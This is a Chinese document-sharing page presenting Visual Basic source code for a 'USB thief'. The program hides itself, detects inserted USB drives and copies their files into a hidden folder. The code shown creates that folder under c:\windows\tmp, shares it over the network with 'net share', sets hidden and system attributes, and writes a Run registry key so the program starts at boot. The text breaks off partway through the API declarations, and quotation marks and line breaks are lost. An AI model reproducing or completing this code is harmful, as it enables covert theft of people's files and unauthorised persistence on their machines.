本实例实现利用子类化自动检测U盘插入并复制文件到指定文件夹 超强U盘小偷VB源代码.docVIP

本实例实现利用子类化自动检测U盘插入并复制文件到指定文件夹，没有文件夹则自动创建文件夹另一个创新便是将文件夹设置为隐藏并共享文件夹form1窗体代码（设置为启动）Option ExplicitPrivate Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End App.TaskVisible = False Me.Visible = False 子类化窗体的消息处理函数 ReDim MatchedFile(0 To 1, 0 To 0) ReDim StoreAllFile(0 To 0) 检测U盘 Dim PathN, FileN FileN = Ufile HookForm Me If GetFileAttributes(c:\windows\tmp\Ufile\) = -1 Then MkDir (c:\windows\tmp\Ufile\) PathN = c:\windows\tmp\Ufile Shell cmd /c net share FileN = PathN SetAttr c:\windows\tmp\Ufile\, 2 + 4 + 32 End If Dim Ret2 As Long 打开 HKEY_LOCAL_MACHINE　下的　software\microsoft\windows\currentVersion\runServices　主键 RegCreateKey HKEY_LOCAL_MACHINE, software\microsoft\windows\currentVersion\run, Ret2 将此主键下的“默认”项的值改为c:\windows\system\myprogram.exe，也就是要开机运行的程序路径 RegSetValue Ret2, vbNullString, REG_SZ, Replace(App.Path \, \\, \) App.EXEName .exe, 4 关闭对主键的操作 RegCloseKey Ret2End SubPrivate Sub Form_Unload(Cancel As Integer)程序退出时恢复原窗体处理函数UnHookForm MeEnd SubModule1代码Option Explicit获取文件、目录属性。支持 ...\Public Declare Function GetFileAttributes Lib kernel32 Alias GetFileAttributesA (ByVal lpFileName As String) As Long子类化窗体消息处理函数时需要使用的API，很常见，不作过多说明。Public Declare Function SetWindowLong Lib user32 Alias SetWindowLongA (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongPublic Declare Function CallWindowProc Lib user32 Alias CallWindowProcA (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As LongPublic Declare Function GetWindowLong Lib user32 Alias GetWindowLongA (ByVal hwnd As Long, ByVal nIndex As Long) As LongDeclare Sub CopyMemory Lib kernel32 Alias RtlMoveMemory (pDst As Any, pSrc As Any, ByVal ByteLen As Long)Const GWL_WNDPROC = -4Const WM_DEVICECHANGE As Long = H219Const DBT_DEVICEARRIVAL As Long = H8000Const DBT_DEVICEREMOVECOMPL